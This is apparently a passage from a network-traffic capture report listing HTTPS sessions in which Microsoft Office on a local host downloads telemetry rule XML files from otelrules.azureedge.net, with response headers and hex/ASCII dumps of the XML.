2024-11-29 22:11:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221138Z-174f7845968pght8hC1EWRyvxg00000003sg0000000028us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fdaae0ed-201e-000c-15df-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221139Z-174f7845968zgtf6hC1EWRqd8s0000000tm00000000012q6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:39 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:39 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221139Z-174f7845968jrjrxhC1EWRmmrs00000010kg00000000hk39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-29 22:11:39 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9018dc86-401e-0067-0d2e-4109c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221140Z-174f7845968glpgnhC1EWR7uec00000010n000000000hhtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:40 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:40 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 2b15fac9-d01e-002b-104f-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221140Z-174f7845968frfdmhC1EWRxxbw00000010g000000000ghx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221141Z-174f7845968j6t2phC1EWRcfe800000010n000000000gtp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 37388cc4-c01e-00ad-4fef-41a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221141Z-174f7845968px8v7hC1EWR08ng00000010p000000000qk5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:42 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2191e2ce-a01e-003d-63ab-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221142Z-174f7845968n2hr8hC1EWR9cag000000103g00000000h0zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-29 22:11:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221142Z-174f7845968ljs8phC1EWRe6en00000010bg00000000cqyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:43 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:43 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221143Z-174f7845968kdththC1EWRzvxn0000000csg00000000nx35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:43 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:44 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 26f9b3b7-001e-008d-64ab-42d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221143Z-174f7845968cpnpfhC1EWR3afc000000103g00000000fwvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-29 22:11:44 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:44 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:49 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:49 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221148Z-174f7845968cpnpfhC1EWR3afc000000105g0000000098p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:49 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" 